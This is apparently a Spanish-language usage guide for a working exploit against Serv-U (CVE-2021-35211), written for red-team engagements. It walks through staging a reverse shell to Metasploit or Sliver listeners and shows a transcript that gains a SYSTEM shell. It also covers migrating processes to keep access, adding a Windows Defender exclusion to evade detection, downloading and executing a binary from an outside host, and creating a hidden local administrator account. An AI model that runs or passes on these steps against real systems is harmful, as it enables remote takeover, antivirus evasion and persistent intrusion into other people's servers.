
Exploit de Serv-U-FTP CVE-2021-35211
El exploit no funciona siempre, pero funciona lo suficiente como para ejecutar shellcode aproximadamente 1 de cada 5 o 6 intentos. Sin embargo, a veces un exploit fallido bloqueará el servidor Serv-U. Asegúrese de que sus reglas de enfrentamiento permitan el riesgo de pérdida o degradación del servicio. Los síntomas observados en las pruebas incluyen:
Caveat emptor.
Las versiones son importantes. Este exploit utiliza direcciones ROP hardcodeadas válidas solo contra la versión 15.2.3.717 de Serv-U. Es posible que podamos agregar otras versiones; pregunte si necesita que funcione con versiones diferentes de Serv-U o Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Toma los siguientes argumentos:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Hay tres modos (o cargas útiles) que puede ejecutar en un ataque exitoso:
stageexecdownloadexecTras un exploit exitoso, ejecuta un stager de shellcode compatible con Metasploit/Sliver. Es el menos confiable de todas las cargas; considere downloadexec en su lugar. Ejecútelo así:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost y stagePort apuntarán a un handler en escucha en su máquina Sliver/Metasploit. Puede elegir cualquier payload que desee, pero he descubierto que el único que funciona de manera confiable es windows/x64/shell/reverse_tcp. Es una lástima porque no es un shell cifrado y deberá verificar sus reglas de enfrentamiento antes de lanzar algo así.
De nuevo, caveat emptor.
Configúrelo en Metasploit ejecutándose en su máquina Kali de la siguiente manera:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Luego ejecute el exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
De vuelta en la máquina Kali debería ver la solicitud de stage y el shell de comandos iniciándose:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
El soporte de Sliver en el payload stager es altamente experimental y rara vez funciona. Si funciona, normalmente verá que las sesiones se inician y mueren inmediatamente. Pero si obtiene una sesión que no termina de inmediato, puede tomar medidas para mantener su acceso a Sliver migrando a otro proceso.
En su servidor Sliver ejecute el comando stage-listener para configurar su listener. Consulte la documentación de Sliver para más detalles sobre staging:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Ejecute el exploit en modo stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Si el exploit funciona (y rara vez funciona con payloads de Sliver o Meterpreter), verá algo como esto (y sí, ¡Sliver se inventó ese nombre de payload por sí solo!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
Lo primero que debe hacer es migrar a otro proceso porque existe una alta probabilidad de que su sesión de Sliver muera y no regrese, y al momento de escribir esto desconozco la causa raíz.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
En este punto debería tener una sesión Sliver sólida e inmune a los vaivenes de Serv-U y este exploit.
El modo más confiable y el que tiene menos probabilidades de ser detectado por la seguridad de endpoint de Microsoft Defender. Esto se debe a que usa un comando de Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para agregar una exclusión de directorio a Microsoft Defender, de modo que los binarios de Sliver/Meterpreter/whatsoever no se analicen en busca de malware. Esto lo protegerá contra Windows Defender, pero eso es todo; deberá considerar otras tecnologías de seguridad de endpoints, IDS de red, etc.
En caso de éxito, descarga un binario desde una URL y lo ejecuta. Necesitará un servidor web que aloje su archivo ejecutable. Yo usé Python, pero tenga en cuenta que estoy probando en una red local sin SSL. En exploits reales, deberá verificar sus reglas de enfrentamiento si desea usar URLs no cifradas.
No es la primera vez: caveat emptor.
Ejecute un listener HTTP simple de la siguiente manera:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Con el listener en ejecución, puede ejecutar el exploit:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Debería ver algo como esto en su listener:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
El objetivo ejecutará calc.exe y reiniciará el servicio Serv-U para permitir que los usuarios comiencen a conectarse nuevamente. Tenga en cuenta que el ejecutable no mostrará una ventana, pero si ejecuta este ejemplo, debería ver wincalc.exe en el Administrador de tareas.
En caso de éxito, ejecuta un comando en el objetivo. Ejecútelo así:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Desafortunadamente, este exploit tiende a bloquear el proceso remoto. Generalmente se reinicia y estoy tratando de ver si puedo hacerlo más estable, pero hasta entonces, recuerde: verifique sus reglas de enfrentamiento y caveat emptor.